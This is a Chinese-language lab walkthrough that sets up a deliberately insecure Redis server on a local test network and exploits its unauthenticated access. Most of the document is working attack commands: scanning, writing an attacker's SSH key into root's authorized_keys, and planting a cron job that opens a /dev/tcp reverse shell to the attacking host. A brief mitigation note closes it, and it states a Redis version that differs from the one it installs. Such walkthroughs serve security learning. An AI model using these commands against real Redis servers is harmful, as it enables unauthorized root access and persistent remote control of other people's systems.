Redis
redis是一个key-value存储系统, 是一个高性能的key-value数据库 ,默认使用 6379 端口
环境安装:
环境 : redis v6.0.5
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar xzf redis-3.2.11.tar.gz
cd redis-3.2.11
make
#make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
# 返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:
cd ../
cp redis.conf /etc/
# 编辑etc中的redis配置文件redis.conf
vi /etc/redis.conf
去掉ip绑定,允许除本地外的主机远程登录redis服务
关闭保护模式,允许远程连接redis服务
# 使用/etc/目录下的reids.conf文件中的配置启动redis服务
redis-server /etc/redis.conf
systemctl start sshd命令启动ssh服务
至此,漏洞环境搭建完成, 此时的redis服务是可以以root用户身份远程免密码登录的
靶机 : 192.168.230.131 (centos7)
攻击机 : 192.168.230.128 (kali)
ps:
攻击机上也要装redis,步骤如上
可以把防火墙关掉systemctl stop firewalld.service 或者开放6379端口
攻击
到这发现一点问题,怎么扫都扫不出
索性把防火墙关了 systemctl stop firewalld.service
(顺便学习了一点防火墙的命令 https://www.cnblogs.com/heqiuyong/p/10460150.html )
nmap -A -p 1-9000 192.168.230.131 可以发现6379上有Redis服务
再用脚本仔细扫一下 nmap -p 6379 -script redis-info 192.168.230.131
redis-cli -h 192.168.230.131 尝试登录
无需认证即可登陆到Redis Server,并可执行命令。
免密登录
在在攻击机上生成公钥,私钥
ssh-keygen 后一路回车
cat /root/.ssh/id_rsa.pub 查看公钥内容
\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCq474noy8Jw7S3GGWXZtdfXob7QeoWxmZr7gEUUbBjI8/eeK1bkDa1F4t56yELLWKryF2s5zXP2YIwDas42SJUQ/vZaLdByNpnMGINOmPBz7Jh8zDrru/McDD00d+2sAa/kGe0trJ/DGoi5OK/8I6nxbghddFq0aQ9qfAliaY7lHzpwGuFFyQQeESL9rEb5pp2blfdbMxQC+cLAdexP8OT4cMO76tJ/C9cNi1No+cotm8V1eiJ3LZEHb1UYcL2nUC3TV5p2UKAFwaUHvlKGAe6xXeu8AJvfK3mH8xNaDXrNvzPQ2GV6yLRwtTPAuGi25FxxP4cCfhWIKlo9GFQas8I0t2w6W2EW/GQOzK2oQNmSuj1oqCch/tI63lKWUSHkRWOcMU0mqejzAAUm0VENrSpZ52qmD4Efj1kKRcC6ya2vWtjbNhRo4ozTuXVLiTKFfgvTmD5Rjb70z6i2nQM6mTuEqzcdHFFxAkKg88gHha9eFYv9Bl7mfNdEQVkYX/+/6s=\\n\\n
通过redis-cli登陆到受害机server 后,输入以下命令
set jjj "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCq474noy8Jw7S3GGWXZtdfXob7QeoWxmZr7gEUUbBjI8/eeK1bkDa1F4t56yELLWKryF2s5zXP2YIwDas42SJUQ/vZaLdByNpnMGINOmPBz7Jh8zDrru/McDD00d+2sAa/kGe0trJ/DGoi5OK/8I6nxbghddFq0aQ9qfAliaY7lHzpwGuFFyQQeESL9rEb5pp2blfdbMxQC+cLAdexP8OT4cMO76tJ/C9cNi1No+cotm8V1eiJ3LZEHb1UYcL2nUC3TV5p2UKAFwaUHvlKGAe6xXeu8AJvfK3mH8xNaDXrNvzPQ2GV6yLRwtTPAuGi25FxxP4cCfhWIKlo9GFQas8I0t2w6W2EW/GQOzK2oQNmSuj1oqCch/tI63lKWUSHkRWOcMU0mqejzAAUm0VENrSpZ52qmD4Efj1kKRcC6ya2vWtjbNhRo4ozTuXVLiTKFfgvTmD5Rjb70z6i2nQM6mTuEqzcdHFFxAkKg88gHha9eFYv9Bl7mfNdEQVkYX/+/6s=\\n\\n"
(首尾要加换行符)
config set dir /root/.ssh
config set dbfilename authorized_keys
save
然后就可以登录到受害机
ssh -i id_rsa root@192.168.230.131
反弹shell
nc -lvp 4444 #监听4444端口
redis-cli -h 192.168.230.131 #登陆到redis数据库
set d "\\n\\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.230.128/4444 0>&1\\n\\n" #意思是每隔一分钟,向192.168.230.128的4444端口反弹shell
config set dir /var/spool/cron #设置工作目录
config set dbfilename root #设置文件名,当前用户叫啥就得命名为啥,当前用户为root
save #保存成文件
#上面这几行命令的意思就是将 "\\n\\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.230.128/4444 0>&1\\n\\n" 这条命令写入test文件中,并且存放在/var/spool/cron目录下
别的getshell姿势
https://cloud.tencent.com/developer/article/1488184
https://www.freebuf.com/column/158065.html
参考
https://blog.csdn.net/qq_36119192/article/details/84620648
https://www.freebuf.com/vuls/162035.html
https://www.freebuf.com/mob/vuls/240060.html
防范
添加防火墙策略
绑定127.0.0.1,绑定到本地